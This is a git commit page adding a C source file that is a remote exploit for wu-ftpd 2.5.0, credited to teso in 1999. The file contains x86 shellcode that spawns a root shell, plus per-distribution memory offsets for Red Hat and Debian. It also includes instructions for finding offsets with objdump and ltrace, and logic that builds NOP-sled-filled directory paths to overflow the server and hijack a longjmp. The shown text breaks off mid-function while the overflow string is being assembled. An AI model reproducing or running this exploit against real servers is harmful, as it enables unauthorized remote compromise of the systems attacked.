summaryrefslogtreecommitdiff
path: root/exploits/ifafoffuffoffaf.c
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/ifafoffuffoffaf.c
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/ifafoffuffoffaf.c')
-rwxr-xr-xexploits/ifafoffuffoffaf.c1391
1 files changed, 1391 insertions, 0 deletions
diff --git a/exploits/ifafoffuffoffaf.c b/exploits/ifafoffuffoffaf.c
new file mode 100755
index 0000000..76ba1a1
--- /dev/null
+++ b/exploits/ifafoffuffoffaf.c
@@ -0,0 +1,1391 @@
1/*
2 <tmogg> ifaf ?
3 <typo_> integrated ftp attack facility
4 <ElCamTuf> ifafoffuffoffaf
5 <ElCamTuf> sounds much better
6
7Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
8_----------------------------------------------------------------------------_
9 Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
10 but wuftpd is too boring to finetune it.. enjoy this sploit in the
11 meanwhile. Send me offsets (see below) to typo@scene.at.
12-____________________________________________________________________________-
13
14Contributors:
15 Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
16 edi (found a way to only have to find 2(!) offsets, he is hardcore!)
17 lcamtuf (dziekuje tobie za ostatunia noc)
18 Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
19 scut (minor include and style fixes)
20 smiler (asm bugfixing), stealth (hellkit rox)
21
22Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
23*/
24
25#include <sys/types.h>
26#include <sys/socket.h>
27#include <sys/utsname.h>
28#include <sys/time.h>
29#include <netinet/in.h>
30#include <netdb.h>
31#include <fcntl.h>
32#include <unistd.h>
33#include <errno.h>
34#include <signal.h>
35#include <time.h>
36#include <getopt.h>
37#include <string.h>
38#include <stdlib.h>
39#include <stdio.h>
40#include <stdarg.h>
41
42/* LaM3rZ shellcode */
43unsigned char lamerz[]=
44 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
45 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
46 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
47 "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
48 "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
49 "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
50 "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
51 "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
52 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
53 "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
54 "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
55
56/* teso code: write(1,"teso\n",5); exit(0); */
57unsigned char testcode[] =
58 "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
59 "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
60 "\xcd\x80\xe8\xdf\xff\xff\xfftesox";
61
62/* teso code: ioctl(, 0x5309, 0); */
63unsigned char cdcode[] =
64 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
65 "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
66 "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
67 "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
68 "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
69
70/* uh.. script kiddies suck. */
71char *shellcode = cdcode;
72
73typedef struct dir *dirptr;
74
75struct dir {
76 char *name;
77 dirptr next;
78} dirproto;
79
80void title (void);
81void usage (const char *me);
82void connect_to_ftp (void);
83void log_into_ftp (void);
84void parseargs (int argc, char **argv);
85void cleanup_and_exit (void);
86int x2port (const char *smtn);
87void err (int syserr, const char *msg, ...);
88int cwd (const char *path);
89int mkd (char *name);
90int rmd (char *name);
91int is_writable (void);
92void getpwd (void);
93int recurse_writable (void);
94void *xmalloc (size_t size);
95void *xcalloc (int factor, size_t len);
96char *xstrdup (const char *s);
97ssize_t xread (int fd, void *buf, size_t count);
98ssize_t xwrite (int fd, const void *buf, size_t count);
99int xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
100int xsocket (int domain, int type, int protocol);
101int xsetsockopt (int s, int level, int optname, const void *optval,
102 unsigned int optlen);
103int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen);
104void sighandler (int signal);
105struct hostent *xgethostbyname (const char *name);
106struct hostent *xgethostbyaddr (const char *addr, int len, int type);
107void putserv (const char *fmt, ...);
108char *getline (void);
109char *getmsg (const char *msg);
110int wuftpd_250_sploitit (void);
111dirptr newdir (char *name);
112char *getdir (char *stat);
113char *int2char (int addr);
114int check_test_return();
115
116/*----------------------------------------------------------------
117*** How to get offsets ***
118------------------------------------------------------------------
119Edis elite way of getting offsets:
120
121objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
122grep "\$0x80" | awk '{print $8}'
123------------------------------------------------------------------
124My lame way of getting offsets:
125(as many people have asked: search for ltrace at http://freshmeat.net/)
126
127tty1:
128nc 0 21
129USER someuser
130PASS hispass
131tty2:
132ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
133tty1:
134CWD /not/current/dir
135MOO
136QUIT
137tty2:
138first argument of first SYS_chdir is mapped_path offset.
139first argument of longjmp is errcatch offset
140------------------------------------------------------------------
141try 4096 and/or 1024 for maxpathlen (works 99% of the time).
142------------------------------------------------------------------*/
143
144struct sploitdata {
145 char *banner;
146 char *desc;
147 char pad_eax;
148 unsigned int maxpathlen;
149 unsigned int mapped_path;
150 unsigned int errcatch;
151 int (*code)();
152 int need_writable;
153};
154
155#define START_MAPPED 0x08060000
156
157struct sploitdata spdata[] = {
158 {
159 "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
160 "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
161 0,
162 4096,
163 0x0806a1e0,
164 0x08077fc0,
165 wuftpd_250_sploitit,
166 1,
167 },
168 {
169 "Fri May 21 10:45:57 EDT 1999",
170 "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
171 0,
172 1024,
173 0x08066890,
174 0x0806fcc0,
175 wuftpd_250_sploitit,
176 1,
177 },
178 {
179 "Tue Jun 8 11:19:44 EDT 1999",
180 "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
181 0,
182 1024,
183 0x08067504,
184 0x08077fc0,
185 wuftpd_250_sploitit,
186 1,
187 },
188 {
189 "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
190 "debian 2.1 - standard source compilation",
191 0,
192 1024,
193 0x806928c,
194 0x8071a80,
195 wuftpd_250_sploitit,
196 1,
197 },
198 {
199 "FTP server (Version wu-2.5.0(1)",
200 "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
201 0,
202 4096,
203 0x8068f80,
204 0x8076d60,
205 wuftpd_250_sploitit,
206 1,
207 },
208 {
209 NULL,
210 NULL,
211 0,
212 0,
213 0,
214 0,
215 NULL,
216 0,
217 }
218};
219
220struct sploitdata *sptr = spdata;
221
222int debug = 0,
223 disp = 1,
224 fd = 0,
225 nostat = 1,
226 offset_selected = 0;
227
228struct tesopt {
229 char *user;
230 char *host;
231 char *pass;
232 char *cwd;
233 char *rev;
234 char *dirname;
235 int dirlen;
236 char testonly;
237 char dirscanonly;
238 unsigned short int sport;
239 unsigned short int port;
240 struct hostent *he;
241} tesopt;
242
243struct hostinf {
244 char *header;
245 char *pwd;
246 char *writable_dir;
247 int pwdlen;
248} hostinf;
249
250#define COLOR
251
252#ifdef COLOR
253#define C_NORM "\E[0m"
254#define C_BOLD "\E[1m"
255#define C_GREEN "\E[32m"
256#define C_RED "\E[31m"
257#define C_BROWN "\E[33m"
258#define C_BLUE "\E[34m"
259#define C_PINK "\E[35m"
260#define C_CYAN "\E[36m"
261#define C_YELL "\E[33m"
262#else
263#define C_NORM ""
264#define C_BOLD ""
265#define C_GREEN ""
266#define C_RED ""
267#define C_BROWN ""
268#define C_BLUE ""
269#define C_PINK ""
270#define C_CYAN ""
271#define C_YELL ""
272#endif
273
274/* title
275 *
276 * print title
277 *
278 * no return value
279 */
280void
281title (void)
282{
283 printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
284 C_NORM"\n");
285 return;
286}
287
288/* newdir
289 *
290 * return a pointer to a new dir with name name
291 *
292 * pointer to dir structure
293 */
294dirptr
295newdir (char *name)
296{
297 dirptr tmp;
298
299 tmp = (dirptr) xmalloc (sizeof (dirproto));
300 tmp->name = xstrdup (name);
301 tmp->next = NULL;
302
303 return (tmp);
304}
305
306/* usage
307 *
308 * print usage
309 *
310 * no return value
311 */
312void
313usage (const char *me)
314{
315 struct sploitdata *cow;
316 int i = 0;
317
318/* printf ("usage: %s\n\n", me); */
319 printf ("-h - this help\n"
320 "-s <server> - specify server\n"
321 "-p <port> - destination port\n"
322 "-f <sourceport> - source port\n"
323 "-v(v) - increase verboseness, use twice for full verboseness\n"
324 "-u <user> - user name to use for login\n"
325 "-P <pass> - password to use for login\n"
326 "-c <startdir> - directory to cwd to after login\n"
327 "-d <writedir> - directory to test writeability with\n"
328 "-r <revhost> - revlookup this host sees you with\n"
329 "-D <dirlen> - specifies the directory length\n"
330 "-T - use test shellcode (prints success, spawns no shell)\n"
331 "-t <type>:\n");
332
333 for (cow = spdata ; cow->desc ; ++cow) {
334 printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
335 C_BOLD, C_NORM, cow->banner, cow->desc);
336 }
337 printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
338
339 exit (EXIT_FAILURE);
340}
341
342/* sighandler
343 *
344 * handle signals
345 *
346 * no return value
347 */
348void
349sighandler (const int signal)
350{
351 printf ("received signal: %d... exiting!\n", signal);
352 cleanup_and_exit ();
353}
354
355/* err
356 *
357 * print an error message. if arg0 is set add an errno message (perror like)
358 * exit afterwards
359 *
360 * no return value
361 */
362void
363err (const int syserr, const char *msg, ...)
364{
365 va_list ap;
366
367 printf ("%serr:%s ", C_RED, C_NORM);
368
369 va_start (ap, msg);
370 vprintf (msg, ap);
371 va_end (ap);
372
373 if (syserr) {
374 printf (": %s\n", sys_errlist[errno]);
375 } else {
376 printf ("\n");
377 }
378
379 cleanup_and_exit();
380
381 return;
382}
383
384/* parseargs
385 *
386 * parse arguments
387 *
388 * no return value (exit on failure)
389 */
390void
391parseargs (int argc, char **argv)
392{
393 char c;
394
395 opterr = 0;
396 tesopt.user = "anonymous";
397 tesopt.pass = "m@y.kr";
398 tesopt.dirname = "tesotest";
399 tesopt.port = 21;
400 tesopt.sport = 666;
401 tesopt.cwd = "";
402 tesopt.dirlen = 255;
403 tesopt.testonly = 0;
404 tesopt.dirscanonly = 0;
405
406 while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
407 switch (c) {
408 case 'v': ++debug;
409 break;
410 case 'h': usage (argv[0]);
411 break;
412 case 's': tesopt.host = optarg;
413 break;
414 case 'p': if (optarg != NULL)
415 tesopt.port = x2port (optarg);
416 break;
417 case 'f': if (optarg != NULL)
418 tesopt.sport = x2port (optarg);
419 break;
420 case 'u': if (optarg != NULL)
421 tesopt.user = optarg;
422 break;
423 case 'P': if (optarg != NULL)
424 tesopt.pass = optarg;
425 break;
426 case 'c': if (optarg != NULL)
427 tesopt.cwd = optarg;
428 break;
429 case 'd': if (optarg != NULL)
430 tesopt.dirname = optarg;
431 break;
432 case 'r': if (optarg != NULL)
433 tesopt.rev = xstrdup (optarg);
434 break;
435 case 'D': tesopt.dirlen = atoi(optarg);
436 break;
437 case 't': sptr += atoi(optarg);
438 offset_selected = 1;
439 if (!sptr->desc) {
440 err (0, "invalid offset set");
441 }
442 break;
443
444 case 'T': shellcode = testcode;
445 tesopt.testonly = 1; break;
446 case 'o': tesopt.dirscanonly = 1; break;
447
448 }
449 }
450
451 if (tesopt.host == NULL)
452 err (0, "server not specified (see -h)");
453 if (tesopt.port == 0)
454 err (0, "port not or incorrectly specified (see -h)");
455 if (tesopt.sport == 0)
456 err (0, "sport not or incorrectly specified (see -h)");
457
458 if (tesopt.dirlen == 0)
459 err (0, "illegal dirlen!\n");
460
461 tesopt.he = xgethostbyname (tesopt.host);
462
463 return;
464}
465
466struct hostent *
467xgethostbyname (const char *name)
468{
469 struct hostent *tmp;
470
471 tmp = gethostbyname (name);
472 if (tmp == NULL)
473 err (1, "cannot gethostbyname");
474
475 return (tmp);
476}
477
478struct hostent *
479xgethostbyaddr (const char *addr, int len, int type)
480{
481 struct hostent *tmp;
482
483 tmp = gethostbyaddr (addr, len, type);
484 if (tmp == NULL)
485 err(1,"cannot gethostbyaddr");
486
487 return (tmp);
488}
489
490/* xmalloc
491 *
492 * wrap malloc with error handling
493 *
494 * return or abort
495 */
496void *
497xmalloc (size_t size)
498{
499 void *tmp = malloc (size);
500
501 if (tmp == NULL)
502 err (1, "malloc failed");
503
504 return (tmp);
505}
506
507/* xcalloc
508 *
509 * wrap calloc with error handling
510 *
511 * return or abort
512 */
513void *
514xcalloc (int factor, size_t len)
515{
516 void *new = calloc (factor, len);
517
518 if (new == NULL)
519 err (1, "calloc failed");
520
521 return (new);
522}
523
524/* xstrdup
525 *
526 * wrap strdup with error handling
527 *
528 * return or abort
529 */
530char *
531xstrdup (const char *s)
532{
533 char *tmp;
534
535 tmp = strdup (s);
536 if (tmp == NULL)
537 err (1, "strdup failed");
538
539 return (tmp);
540}
541
542/* xread
543 *
544 * read with error handling
545 *
546 * return length of readen data
547 */
548ssize_t
549xread (int fd, void *buf, size_t count)
550{
551 int tmp;
552
553 tmp = read (fd, buf, count);
554 if (tmp < 1)
555 err (1, "read failed");
556
557 return (tmp);
558}
559
560/* xwrite
561 *
562 * write with error handling
563 *
564 * return length of written data
565 */
566ssize_t
567xwrite (int fd, const void *buf, size_t count)
568{
569 int tmp;
570
571 tmp = write (fd, buf, count);
572 if (tmp < 0)
573 err (1, "write failed");
574
575 return (tmp);
576}
577
578/* xbind
579 *
580 * bind with error handling
581 *
582 * return bound socket
583 */
584int
585xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
586{
587 int tmp;
588
589 tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
590 if (tmp < 0)
591 err (1, "bind failed");
592
593 return (tmp);
594}
595
596/* xsocket
597 *
598 * socket with error handling
599 *
600 * return allocated socket descriptor
601 */
602int
603xsocket (int domain, int type, int protocol)
604{
605 int tmp;
606
607 tmp = socket (domain, type, protocol);
608 if (tmp < 0)
609 err (1, "socket failed");
610
611 return (tmp);
612}
613
614/* xsetsockopt
615 *
616 * setsockopt with error handling
617 */
618int
619xsetsockopt (int s, int level, int optname, const void *optval,
620 unsigned int optlen)
621{
622 int tmp;
623
624 tmp = setsockopt (s, level, optname, optval, optlen);
625 if (tmp < 0)
626 err (1, "setsockopt failed");
627
628 return (tmp);
629}
630
631/* xconnect
632 *
633 * connect with error handling
634 */
635int
636xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
637{
638 int tmp;
639
640 tmp = connect (sockfd, serv_addr, addrlen);
641 if (tmp < 0)
642 err (1, "connect failed");
643
644 return (tmp);
645}
646
647
648/* connect_to_ftp
649 *
650 * connect to ftpserver and resolve local ip
651 *
652 * return nothing
653 */
654void
655connect_to_ftp (void)
656{
657 int i = 1;
658 struct sockaddr_in sin;
659 struct hostent *he;
660
661
662 fd = xsocket (AF_INET, SOCK_STREAM, 0);
663 xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
664
665 bzero (&sin, sizeof (sin));
666
667 sin.sin_family = AF_INET;
668// sin.sin_port = htons (tesopt.sport);
669 sin.sin_addr.s_addr = 0;
670
671 xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
672
673 sin.sin_port = htons (tesopt.port);
674 sin.sin_family = AF_INET;
675
676 memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
677
678 xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
679
680 /* this is a good time to get our revlookup (if not user defined) */
681 if (tesopt.rev == NULL) {
682 i = sizeof (sin);
683 getsockname (fd, (struct sockaddr *) &sin, &i);
684 he = gethostbyaddr ((char *) &sin.sin_addr,
685 sizeof (sin.sin_addr), AF_INET);
686 tesopt.rev = xstrdup (he->h_name);
687 }
688 printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
689
690 return;
691}
692
693/* putserv
694 *
695 * send data to the server
696 */
697void
698putserv (const char *fmt, ...)
699{
700 va_list ap;
701 unsigned char output[1024];
702 int i, total;
703
704 memset (output, '\0', sizeof (output));
705 va_start (ap, fmt);
706 vsnprintf (output, sizeof (output) - 1, fmt, ap);
707 va_end (ap);
708
709 /* this is edis code
710 */
711 total = strlen (output);
712 for (i = 0; i < total; i++) {
713 if (output[i] == 0xff) {
714 memmove (output + i + 1, output + i, total - i);
715 total++;
716 i++;
717 }
718 }
719
720 if (disp != 0 && (debug > 1))
721 printf ("%s%s%s", C_BLUE, output, C_NORM);
722
723 xwrite (fd, output, total);
724
725 return;
726}
727
728#define LINEBUFLEN 8192
729char linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */
730
731/* getline
732 *
733 * get next line from server or local buffer
734 */
735char *
736getline (void)
737{
738 char y[2];
739 int i = 0;
740
741 memset (linebuf, '\0', sizeof (linebuf));
742 strcpy (y, "x");
743
744 while (strncmp (y, "\n", 1) != 0) {
745 if (i > (sizeof (linebuf) + 2)) {
746 err (0, "getline() buffer full");
747 }
748 i += xread (fd, y, 1);
749 strcat (linebuf, y);
750 }
751
752 if (disp != 0 && debug > 0) {
753#ifdef COLOR
754 if (nostat != 0) {
755 char color[64];
756
757 memset (color, '\0', sizeof (color));
758
759 switch (linebuf[0]) {
760 case '2': strcpy (color, C_CYAN);
761 break;
762 case '3': strcpy (color, C_BROWN);
763 break;
764 case '4': strcpy (color, C_RED);
765 break;
766 case '5': strcpy (color, C_RED);
767 break;
768 default: break;
769 }
770
771 printf ("%s", color);
772 }
773#endif
774 if (nostat != 0 || debug > 1)
775 printf ("%s", linebuf);
776#ifdef COLOR
777 if (nostat != 0)
778 printf ("%s", C_NORM);
779#endif
780 }
781
782 return (linebuf);
783}
784
785/* getmsg
786 *
787 * discard lines until expected response or error is reported
788 */
789char *
790getmsg (const char *msg)
791{
792 char *line;
793 int i = strlen (msg);
794
795 do {
796 line = getline ();
797 } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
798
799 return (line);
800}
801
802/* log_into_ftp
803 *
804 * log into the ftp server given the login name and password
805 *
806 * return nothing
807 */
808void
809log_into_ftp (void)
810{
811 char *line;
812 char foundmatch=0;
813
814 line = getmsg ("220 ");
815 hostinf.header = xstrdup (line);
816
817 if (!debug)
818 printf("%s", line);
819 if (!offset_selected) {
820 for (sptr = spdata ; sptr->banner ; ++sptr) {
821 if (strstr(line, sptr->banner)) {
822 foundmatch=1;
823 break;
824 }
825 }
826 if (!foundmatch)
827 err(0, "No offset selected, and no matching banner found!");
828 }
829
830 printf ("Using offsets from: %s\n", sptr->desc);
831
832 putserv ("USER %s\n", tesopt.user);
833 getmsg ("331 ");
834 putserv ("PASS %s\n", tesopt.pass);
835 line = getmsg ("230 ");
836 if (strncmp ("5", line, 1) == 0)
837 err (0, "login not accepted!\n");
838
839 if (strlen (tesopt.cwd) > 0) {
840 if (cwd (tesopt.cwd) == 0) {
841 err (0, "initial CWD failed.");
842 }
843 }
844
845 getpwd ();
846
847 return;
848}
849
850/* recurse_writable
851 *
852 * recursively scans for writable dirs, starting in CWD
853 *
854 * return 1 for CWD is writable
855 * return 0 for no writable dir found
856 */
857int
858recurse_writable (void)
859{
860 dirptr dirroot = NULL,
861 current = NULL,
862 prev = NULL;
863 char *line = "",
864 *tmp = "";
865
866 if (is_writable () != 0)
867 return (1);
868
869 nostat = 0;
870 putserv ("STAT .\n");
871
872 while (strncmp (line, "213 ", 4) != 0) {
873 line = getline ();
874 tmp = getdir (line);
875
876 if (tmp == NULL)
877 continue;
878 if (dirroot == NULL) {
879 current = dirroot = newdir (tmp);
880 continue;
881 }
882
883 current->next = newdir (tmp);
884 current = current->next;
885 }
886
887 nostat = 1;
888 current = dirroot;
889
890 while (current != NULL) {
891 if (cwd (current->name)) {
892 if (recurse_writable ())
893 return (1);
894 cwd ("..");
895 }
896
897 prev = current;
898 current = current->next;
899 free (prev->name);
900 free (prev);
901 }
902
903 return (0);
904}
905
906/* mkd
907 *
908 * make a directory
909 *
910 * return 0 on success
911 * return 1 if the directory already exists
912 * retrun 2 on error
913 */
914int
915mkd (char *name)
916{
917 char *line;
918
919 putserv ("MKD %s\n", name);
920 line = getmsg ("257 ");
921
922 if (strncmp ("521 ", line, 4) == 0)
923 return (1);
924
925 if (strncmp ("257 ", line, 4) == 0)
926 return (0);
927
928 return (2);
929}
930
931
932/* rmd
933 *
934 * remove a directory
935 *
936 * return 0 on success
937 * return 1 on failure
938 */
939int
940rmd (char *name)
941{
942 char *line;
943
944 putserv ("RMD %s\n", name);
945 line = getmsg ("250 ");
946
947 if (strncmp("250 ", line, 4) == 0)
948 return (0);
949
950 return (1);
951}
952
953/* is_writeable
954 *
955 * check whether the current working directory is writeable
956 *
957 * return 1 if it is
958 * return 0 if it is not
959 */
960int
961is_writable (void)
962{
963 int i = 0,
964 is = 0;
965
966redo:
967 if (++i > 3)
968 return (0);
969
970 is = mkd (tesopt.dirname);
971 if (is == 1) {
972 printf ("leet.. our file already exists.. delete and retry\n");
973 rmd (tesopt.dirname);
974
975 goto redo;
976 } else if (is == 0) {
977 rmd (tesopt.dirname);
978
979 return (1);
980 }
981
982 return (0);
983}
984
985/* cwd
986 *
987 * change current working directory on the ftp server
988 *
989 * return 1 on success
990 * return 0 on failure
991 */
992int
993cwd (const char *path)
994{
995 char *line;
996
997 if (debug != 0)
998 printf ("CWD %s\n", path);
999
1000 putserv ("CWD %s\n", path);
1001 line = getmsg ("250 ");
1002
1003 if (strncmp ("250 ",line, 4) == 0)
1004 return (1);
1005
1006 return (0);
1007}
1008
1009/* getpwd
1010 *
1011 * sets hostinf.pwd to CWD
1012 *
1013 * returns nothing
1014 */
1015void
1016getpwd (void)
1017{
1018 char *tmp,
1019 *line;
1020 char *chr,
1021 *rchr;
1022
1023 putserv ("PWD\n");
1024 line = getmsg ("257 ");
1025 if (strncmp ("257 ", line, 4) != 0)
1026 err (0, "getpwd failed: incorrect answer: %s", line);
1027
1028 /* too long, but for sure long enough. */
1029 tmp = xcalloc (strlen (line) + 1, 1);
1030
1031 chr = strchr (line, '"');
1032 rchr = strrchr (line, '"');
1033
1034 if (chr == NULL)
1035 err (0, "no \"'s in getpwd.");
1036
1037 if (chr == rchr)
1038 err (0, "only one \" in getpwd.");
1039
1040 if ((rchr - chr) < 2)
1041 err (0, "pwd too short?");
1042
1043 strncat (tmp, chr + 1, rchr - chr - 1);
1044
1045 if (hostinf.pwd != NULL)
1046 free (hostinf.pwd);
1047
1048 hostinf.pwd = xstrdup (tmp);
1049 free (tmp);
1050
1051 hostinf.pwdlen = strlen (hostinf.pwd);
1052/* printf("current pwd is %s\n", hostinf.pwd); */
1053}
1054
1055/* getdir
1056 *
1057 * get directory from a STAT string (parsing works with wuftpd AND proftpd)
1058 *
1059 * return pointer to directory name on success
1060 * return NULL on failure/not a directory
1061 */
1062char *
1063getdir (char *stat)
1064{
1065 char *dir = stat;
1066
1067 if (strlen (dir) < 57)
1068 return (NULL);
1069
1070 if (strncmp (" ", dir, 1) == 0)
1071 ++dir;
1072 if (strncmp ("d", dir, 1) != 0)
1073 return (NULL);
1074
1075 dir += 55;
1076 dir[strlen (dir) - 2] = 0;
1077/* printf("strlen is %d for %s",strlen(dir), dir); */
1078
1079 if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
1080 return (NULL);
1081
1082 return (dir);
1083}
1084
1085/* cleanup_and_exit
1086 *
1087 * cleanup functions on exit
1088 *
1089 * return nothing
1090 */
1091void
1092cleanup_and_exit (void)
1093{
1094 free (tesopt.rev);
1095 free (hostinf.header);
1096 free (hostinf.pwd);
1097 close (fd);
1098
1099 printf ("%s\n", C_NORM);
1100
1101 exit (EXIT_SUCCESS);
1102}
1103
1104/* x2port
1105 *
1106 * like atoi, but with getservbyname if atoi() fails
1107 *
1108 * return port
1109 */
1110int
1111x2port (const char *smtn)
1112{
1113 struct servent *serv;
1114 int port;
1115
1116 port = atoi (smtn);
1117 if (port == 0) {
1118 serv = getservbyname (smtn, "tcp");
1119 if (serv != NULL)
1120 port = htons (serv->s_port);
1121 }
1122
1123 return (port);
1124}
1125
1126/* int2char
1127 *
1128 * converts an integer to 4byte char *
1129 *
1130 * return port
1131 */
1132char int2char_tmp[8];
1133char *
1134int2char (int addr)
1135{
1136 bzero(&int2char_tmp, 8);
1137 int2char_tmp[0] = (addr & 0x000000ff);
1138 int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
1139 int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
1140 int2char_tmp[3] = (addr & 0xff000000) >> 24;
1141 int2char_tmp[4] = 0;
1142
1143 return (int2char_tmp);
1144}
1145
1146/* wuftpd_250_sploitit
1147 *
1148 * tries to exploit wuftpd 2.5.0, after all preparation work is done.
1149 *
1150 * return 0 on error
1151 * return 1 on success
1152 */
1153int
1154wuftpd_250_sploitit (void)
1155{
1156 int shelloff,
1157 times,
1158 fill;
1159 int start_writing_to_errcatch,
1160 argvlen,
1161 behind_errcatch;
1162 int i, n;
1163 char string[2048];
1164
1165 argvlen = strlen ("ftpd: ");
1166 argvlen += strlen (tesopt.rev);
1167 argvlen += strlen (": ");
1168 argvlen += strlen (tesopt.user);
1169 argvlen += strlen (": ");
1170
1171 if (strncmp ("anonymous", tesopt.user, 9) == 0)
1172 argvlen += strlen (tesopt.pass) + 1;
1173
1174 times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
1175
1176 fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
1177
1178 if (debug > 0) {
1179 printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
1180 hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
1181 }
1182
1183 if (strlen (shellcode) > (tesopt.dirlen - 40))
1184 err(0, "shellcode too big, edit the source to use less padding,"
1185 "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
1186
1187 /* let's try to hit the middle of our 0x90 pad */
1188 shelloff = sptr->mapped_path + hostinf.pwdlen
1189 + ( (tesopt.dirlen - strlen(shellcode)) / 2);
1190
1191 if (debug > 0)
1192 printf ("will try to longjmp to 0x%x\n", shelloff);
1193
1194 start_writing_to_errcatch = sptr->errcatch - argvlen;
1195 behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
1196
1197 if (debug > 0) {
1198 printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
1199 sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
1200 }
1201
1202 memset (string, 'A', tesopt.dirlen);
1203
1204 if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
1205 disp = 0;
1206 for (i = 0; i < times; i++) {
1207 switch (i) {
1208 case 0: memset (string, 0x90, tesopt.dirlen);
1209 memcpy (string+tesopt.dirlen-strlen(shellcode),
1210 shellcode, strlen (shellcode));
1211 break;
1212 case 1: memset (string, 0x90, tesopt.dirlen); break;
1213 default:
1214 break;
1215 }
1216
1217 string[tesopt.dirlen] = 0;
1218 putserv ("MKD %s\n", string);
1219 getline ();
1220
1221 putserv ("CWD %s\n", string);
1222 getline ();
1223 }
1224
1225 getpwd ();
1226 disp = 1;
1227
1228 if (debug > 0)
1229 printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
1230
1231 if (fill != sptr->maxpathlen-hostinf.pwdlen)
1232 err (0, "Calculation wrong. Error!");
1233
1234 if (fill > 506)
1235 err (0, "Aw.. fuck! My fill is waaaay to big!\n");
1236
1237 /* onefile[0], onefile[1] and maybe pad_eax */
1238 fill += sptr->pad_eax ? 12 : 8;
1239
1240 n = fill/4;
1241 string[0] = 0;
1242 for (i=0; i < n; i++)
1243 strcat(string, int2char(start_writing_to_errcatch));
1244 for (i=1; i < (fill - (n*4)); i++)
1245 strcat(string, "A");
1246
1247 /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
1248 strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
